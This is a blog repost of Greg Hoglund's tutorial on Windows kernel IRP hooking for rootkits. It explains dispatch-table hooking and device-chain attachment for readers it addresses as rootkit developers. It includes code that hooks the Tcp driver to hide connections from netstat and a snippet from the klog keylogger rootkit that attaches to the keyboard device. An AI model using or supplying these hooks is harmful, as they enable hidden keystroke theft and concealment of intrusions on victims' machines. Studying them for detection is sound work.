原创 IRP hooking and Device Chains

2008-4-20 23:18 5039 6 6 分类: MCU/ 嵌入式
rootkit的老大最近的一篇文章,总结了常规的IRP hook技术,写的比较清楚,转过来。
IRP hooking and Device Chains
by Greg Hoglund

I wanted to get some fresh content on the main page, so I whipped together this article for you

IRP hooking is a common rootkit technique. There are two primary ways to get involved with IRPs – hooking function pointers or registering as an attached device (sometimes called a ‘Filter Driver’).

The first method is fairly straightforward, you simply hook the "Major Function" or "Dispatch" IRP handling functions, an array of callbacks, in the DRIVER_OBJECT structure.


typedef struct _DRIVER_OBJECT {
  CSHORT  Type;
  CSHORT  Size;
  PDEVICE_OBJECT  DeviceObject;
  ULONG  Flags;
  PVOID  DriverStart;
  ULONG  DriverSize;
  PVOID  DriverSection;
  PDRIVER_EXTENSION  DriverExtension;
  UNICODE_STRING  DriverName;
  PUNICODE_STRING  HardwareDatabase;
  struct _FAST_IO_DISPATCH *FastIoDispatch;
  PDRIVER_INITIALIZE  DriverInit;
  PDRIVER_STARTIO  DriverStartIo;
  PDRIVER_UNLOAD  DriverUnload;
  PDRIVER_DISPATCH  MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; <----
} DRIVER_OBJECT;
typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;




IRP callback (aka "Driver Dispatch Routines") functions are only used if the driver has registered a device. IRP's processing is handled by the IO manager. Many rootkits don't register any devices and don't need any dispatch routines. Upon driver entry, these pointers are zero'd out by default, and if you don't fill them in, they get redirected to a default handler in the kernel as a protection to complete IRP's. A rootkit could hook that default handler and capture alot of control flows.
There is a set of basic IRP handling routines that every legitimate driver could implement. For example, any of the following may be used when someone opens a handle or interacts with any device object created by the driver:

#define IRP_MJ_CREATE 0x00
#define IRP_MJ_CREATE_NAMED_PIPE 0x01
#define IRP_MJ_CLOSE 0x02
#define IRP_MJ_READ 0x03
#define IRP_MJ_WRITE 0x04
#define IRP_MJ_QUERY_INFORMATION 0x05
#define IRP_MJ_SET_INFORMATION 0x06
#define IRP_MJ_QUERY_EA 0x07
#define IRP_MJ_SET_EA 0x08
#define IRP_MJ_FLUSH_BUFFERS 0x09
#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a
#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b
#define IRP_MJ_DIRECTORY_CONTROL 0x0c
#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d
#define IRP_MJ_DEVICE_CONTROL 0x0e
#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f
#define IRP_MJ_SCSI 0x0f
#define IRP_MJ_SHUTDOWN 0x10
#define IRP_MJ_LOCK_CONTROL 0x11
#define IRP_MJ_CLEANUP 0x12
#define IRP_MJ_CREATE_MAILSLOT 0x13
#define IRP_MJ_QUERY_SECURITY 0x14
#define IRP_MJ_SET_SECURITY 0x15
#define IRP_MJ_POWER 0x16
#define IRP_MJ_SYSTEM_CONTROL 0x17
#define IRP_MJ_DEVICE_CHANGE 0x18
#define IRP_MJ_QUERY_QUOTA 0x19
#define IRP_MJ_SET_QUOTA 0x1a
#define IRP_MJ_PNP 0x1b
#define IRP_MJ_PNP_POWER 0x1b
#define IRP_MJ_MAXIMUM_FUNCTION 0x1b

IRP function hooking is easy to use and unfortunately easy to detect. I’m not sure how many desktop firewalls are attempting to validate these pointer tables, but it can be straightforward to enumerate them, check that they point into the appropriate driver, etc. But, they remain powerful. The following code snippit [Butler] hooks the device IOCTL callback for the Tcp driver on windows. Using a hook like this enables you to hide TCP sessions from the netstat tool.

NTSTATUS InstallTCPDriverHook()
{
    NTSTATUS       ntStatus;
    UNICODE_STRING deviceTCPUnicodeString;
    WCHAR deviceTCPNameBuffer[]  = L"\\Device\\Tcp";
        pFile_tcp  = NULL;
    pDev_tcp   = NULL;
    pDrv_tcpip = NULL;

    RtlInitUnicodeString (
           &deviceTCPUnicodeString, deviceTCPNameBuffer);
    ntStatus = IoGetDeviceObjectPointer(
           &deviceTCPUnicodeString,
           FILE_READ_DATA,
           &pFile_tcp,
           &pDev_tcp);
    if(!NT_SUCCESS(ntStatus))
        return ntStatus;
    pDrv_tcpip = pDev_tcp->DriverObject;

    OldIrpMjDeviceControl =
           pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL];
    if (OldIrpMjDeviceControl)
          InterlockedExchange (
            (PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL],
            (LONG)HookedDeviceControl);
   
    return STATUS_SUCCESS;
}


Because IRP handlers are so specific to the driver, this remains a largely unexplored ground. Remember when SSDT hooking first emerged on the scene, and how everyone was coming up with new and creative ways to hook different system calls? Well, each driver is like its own surface of system calls, except implemented via IRP handlers. One of our rootkit members [JMS] has had a great deal of success fuzzing just the IRP_MJ_DEVICE_CONTROL handler, bluescreening the box from usermode due to poorly written parsing code in system drivers.

The second way to hook IRP’s doesn’t involve hooking functions at all, only the use of documented methods. Each driver has zero or more registered devices. A device can only have one parent driver, but a driver can register many child devices. In turn, devices from anywhere in this system-wide collection may be attached together (like a chain), thus creating parent-child relationships between multiple devices and thus multiple parent drivers. As a rootkit developer, you can attach to any existing device or device-chain and thus your rootkit’s own IRP handling callbacks will have a chance to intercept IRP’s headed down this device chain.

It should be mentioned that the word 'chain' is slightly misleading in some literature, as it may refer to the collection of devices 'owned' by a driver ('*NextDevice' pointer), and also may refer to a series of devices attached to one another (handled by the ‘*AttachedDevice’ pointer). The term ‘chain’ implies there is some concept of 'passing along' objects along a chain, but the collection represented by the '*NextDevice ' pointer has nothing to do with IRP processing. To hook into IRP chains, you need to use a totally different pointer, the '*AttachedDevice' pointer. These attachments are also referred to as chains sometimes, leading to some confusion about device objects in general. Let’s contrast these two pointers so there is no more confusion.


typedef struct _DEVICE_OBJECT {
  CSHORT  Type;
  USHORT  Size;
  LONG  ReferenceCount;
  struct _DRIVER_OBJECT  *DriverObject;
  struct _DEVICE_OBJECT  *NextDevice;
  struct _DEVICE_OBJECT  *AttachedDevice;
  struct _IRP  *CurrentIrp;
  PIO_TIMER  Timer;
  ULONG  Flags;
  ULONG  Characteristics;
  volatile PVPB  Vpb;
  PVOID  DeviceExtension;
  DEVICE_TYPE  DeviceType;
  CCHAR  StackSize;
  union {
    LIST_ENTRY  ListEntry;
    WAIT_CONTEXT_BLOCK  Wcb;
  } Queue;
  ULONG  AlignmentRequirement;
  KDEVICE_QUEUE  DeviceQueue;
  KDPC  Dpc;
  ULONG  ActiveThreadCount;
  PSECURITY_DESCRIPTOR  SecurityDescriptor;
  KEVENT  DeviceLock;
  USHORT  SectorSize;
  USHORT  Spare1;
  struct _DEVOBJ_EXTENSION  *DeviceObjectExtension;
  PVOID  Reserved;
} DEVICE_OBJECT, *PDEVICE_OBJECT;


All device objects created for a single driver are kept track of via the '*NextDevice' pointer, but this has nothing to do with attachment. Furthermore, nothing is passed along this list of devices. The purpose of the '*NextDevice' pointer is so the IO manager can enumerate all the devices owned by a driver. A driver may also use this list to enumerate all of its own devices, for example an audio driver might set the volume on all attached sound devices during initialization. The ‘*NextDevice’ pointer and resulting collection of devices is not used for IRP processing – so really doesn’t have much to do with IRP hooking.
As a rootkit developer, you may want to experiment with inserting trojan DEVICE_OBJECT's into '*NextDevice' lists. This may have varying effects depending on the driver that owns that device collection.

Attachment is a different beast. Device attachment is handled through a separate pointer called the '*AttachedDevice' pointer. The list of devices maintained by the '*AttachedDevice' pointer is wholly separate and unrelated to the '*NextDevice' list. The attached devices are used by filter drivers to layer themselves on top of existing devices - think keyboard hookers like klog rootkit. Thus, when a rootkit developer thinks of “hooking” into a “Device chain” they usually mean the attached-device chain and more specifically, using an API call such as IoAttachDevice to place a filter driver into this chain.

Be aware when you request attachment, IoAttachDevice does not guarantee which device you end up attached to. IoAttachDevice expects a device name (say "\\Device\\Tcp"), but internally will determine an actual device to attach to for you. If there is a mounted filesystem involved, the real device object is ignored and the filesystem's device object may be used instead. Also, if the target device object already has an attached device, then these are walked upwards until the top of the attachment chain is reached (again, please remember that this attachment chain is NOT the same as the NextDevice chain!). And, during this backtrace, any device object that has special considerations like the filesystem detail mentioned above, will stop the backtrace at that point (regardless if the chain continues) and return the tangential device. Because of this, the third argument to IoAttachDevice is a pointer that will be initialized to the actual device you end up attached to. The actual target of the attach, a DEVICE_OBJECT structure, has an '*AttachedDevice' pointer that will be initialized to point to your source DEVICE_OBJECT. You can enumerate these and walk the pointer chains if you want a homework assignment. This is exactly what the DeviceTree utility from OSR does. As a side note, once you have attached like this, the associated driver for the target device can no longer be unloaded (unless you detach first). What follows is a snippit of code from the klog rootkit [Sparks] that uses IoAttachDevice:


//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = passive level
//@@@@@@@@@@@@@@@@@@@@@@@@@
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)
{
//    __asm int 3;
    DbgPrint("Entering Hook Routine...\n");
   
    //the filter device object
    PDEVICE_OBJECT pKeyboardDeviceObject;
   
    //Create a keyboard device object
    NTSTATUS status = IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION), NULL, //no name
        FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject);

    //Make sure the device was created ok
    if(!NT_SUCCESS(status))
        return status;
   
    DbgPrint("Created keyboard device successfully...\n");

    //////////////////////////////////////////////////////////////////////////////////
    //Copy the characteristics of the target keyboard driver into the  filter device
    //object because we have to mirror the keyboard device underneath us.
    //These characteristics can be determined by examining the target driver using an
    //application like DeviceTree in the DDK
    //////////////////////////////////////////////////////////////////////////////////
    pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
    pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
    DbgPrint("Flags set succesfully...\n");

    //////////////////////////////////////////////////////////////////////////////////////////////
    //Initialize the device extension - The device extension is a custom defined data structure
    //for our driver where we can store information which is guaranteed to exist in nonpaged memory.
    ///////////////////////////////////////////////////////////////////////////////////////////////
    RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
    DbgPrint("Device Extension Initialized...\n");

    //Get the pointer to the device extension
    PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
   
    //////////////////////////////////////////////////////////////////////////////////////////////
    //Insert the filter driver onto the device stack above the target keyboard driver underneath and
    //save the old pointer to the top of the stack. We need this address to direct IRPS to the drivers
    //underneath us on the stack.
    ///////////////////////////////////////////////////////////////////////////////////////////////
    CCHAR         ntNameBuffer[64] = "\\Device\\KeyboardClass0";
    STRING         ntNameString;
    UNICODE_STRING uKeyboardDeviceName;
    RtlInitAnsiString( &ntNameString, ntNameBuffer );
    RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE );
    IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtension->pKeyboardDevice);
    RtlFreeUnicodeString(&uKeyboardDeviceName);
    DbgPrint("Filter Device Attached Successfully...\n");

    return STATUS_SUCCESS;
}//end HookKeyboard


Once the IoAttachDevice call succeeds, your driver will intercept all IRP's headed for the target device. Your driver will get the IRP before the target device does. In the case of the klog rootkit, the only handler of interest is the one for READ, which grabs keystrokes from the underlying device. Once each read completes (indicated by a completion routine), the keystroke can be nabbed and logged. Of course, you don’t have to use documented functions to attach into a chain, you can directly modify the DEVICE_OBJECT structure to obtain the result.

I hope this sheds a little light on IRP hooking for some folks.

-Greg

PARTNER CONTENT

文章评论0条评论)

登录后参与讨论
EE直播间
更多
我要评论
0
6
关闭 站长推荐上一条 /3 下一条